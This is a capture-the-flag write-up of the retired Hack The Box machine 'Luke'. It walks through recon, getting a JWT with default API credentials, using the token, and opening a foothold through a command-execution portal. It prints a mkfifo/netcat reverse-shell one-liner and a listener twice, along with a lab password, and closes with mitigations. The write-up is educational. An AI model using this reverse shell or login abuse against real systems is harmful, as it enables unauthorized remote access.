Hack The Box - Luke User and Root flag

Scope: Educational walkthrough of a retired Hack The Box machine.
Focus: Enumerating web services, abusing weak JWT handling, and pivoting to a shell via authenticated API/UI.
Disclaimer: For learning on legal targets only.

🔎 TL;DR

• Enumerated web stack with Nmap & Gobuster.
• Discovered Node/Express API on port 3000 exposing /login.
• Obtained a JWT by POSTing default creds, decoded it (header/payload/signature) to confirm HS256.
• Used the Bearer token to enumerate users and reach additional endpoints.
• Leveraged authenticated portal (“agenti”) to mount a reverse shell using mkfifo + nc.
• Retrieved user and root flags.

🎯 Objective

Gain initial foothold and escalate to read user and root flags, documenting the JWT weaknesses and the API/portal abuse path.

🧰 Tools & Setup

• Nmap, Gobuster
• curl, jq
• Burp Suite (with proxy header rewriting)
• nc for reverse shell
• Linux workstation

🗺️ Recon

Nmap

nmap -sC -sV -T4 -oA luke_initial 10.10.10.137

Gobuster (in parallel)

During web review, a file revealed some details that weren’t immediately actionable:

Multiple login portals identified:

🔐 API Authentication & JWT

Attempted API login via POST /login on port 3000:

curl -XPOST http://luke.htb:3000/login -d 'username=admin&password=Zk6heYCyv6ZE9Xcg'; echo

Response included a JWT:

{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc5MTg4NzUyLCJleHAiOjE1NzkyNzUxNTJ9.Wnh1P6SM0LFWpfaifZl0z74uVyOHWnCZErEW4Ey-VPQ"}

Decode the JWT (3 parts)

Header (alg & typ):

echo -n eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 | base64 --decode

Payload (claims):

echo -n eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc5MTg4NzUyLCJleHAiOjE1NzkyNzUxNTJ9 | base64 -d

Signature: Wnh1P6SM0LFWpfaifZl0z74uVyOHWnCZErEW4Ey-VPQ

🚪 Using the Bearer Token

Validate token access to the API root:

curl http://luke.htb:3000/ \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc5MTg4NzUyLCJleHAiOjE1NzkyNzUxNTJ9.Wnh1P6SM0LFWpfaifZl0z74uVyOHWnCZErEW4Ey-VPQ'; echo

Enumerate users; format JSON with jq:

🧪 Burp Header Rewriter (Quality of Life)

Configured Burp to add custom headers for the browser session (useful where UI needed headers to reflect auth state/role):

🔎 Additional Auth’d Enumeration

Abused authenticated API/UI to list more content and endpoints:

Found an interesting file/route to pivot:

Tested a few common admin handles on an agenti portal and logged in:

🪝 Foothold via Reverse Shell

Prepared a simple named‑pipe + netcat reverse shell:

Listener (attacker):

nc -lvnp 1337

Target (within authenticated command field / UI action):

mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.12 1337 > /tmp/f

Execution screenshots:

Some TTY upgrade attempts failed due to limited environment (no python, etc.), so proceeded to harvest flags directly:

🧩 Observations & Notes

• API accepted default credentials leading to JWT issuance.
• JWT was HS256; while we didn’t need to forge it, weak issuance plus broad access yielded quick pivot.
• Burp header rewriting streamlined mixed UI/API navigation.
• The agenti portal accepted simple command execution enabling a reliable reverse shell.

🛡️ Mitigations

• Enforce strong credentials and account lockout; disable default creds.
• Scope tokens with least privilege; reduce token lifetime and verify audience/issuer.
• Validate JWT signature with server‑side secret management; consider key rotation.
• Add RBAC and restrict sensitive endpoints.
• Sanitize/validate parameters; remove any command‑execution paths.
• Implement WAF rules for command injection patterns and unusual API usage.
• Monitor and alert on suspicious auth & token activity.

📎 Quick Command Reference

# Login to get JWT
curl -XPOST http://luke.htb:3000/login -d 'username=admin&password=Zk6heYCyv6ZE9Xcg'

# Decode JWT parts
echo -n HEADER_B64 | base64 -d
echo -n PAYLOAD_B64 | base64 -d

# Use JWT
curl http://luke.htb:3000/ -H "Authorization: Bearer <JWT>"

# Reverse shell (target)
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker_ip> 1337 > /tmp/f

# Listener (attacker)
nc -lvnp 1337

✅ Outcome

• Initial foothold via API JWT and agent portal.
• Reverse shell obtained and flags captured.

📚 Appendix (Screenshots)

• Nmap / Gobuster / Login / JWT decode / API enum / Burp header / Agenti portal / Shell & Flags (all included inline above).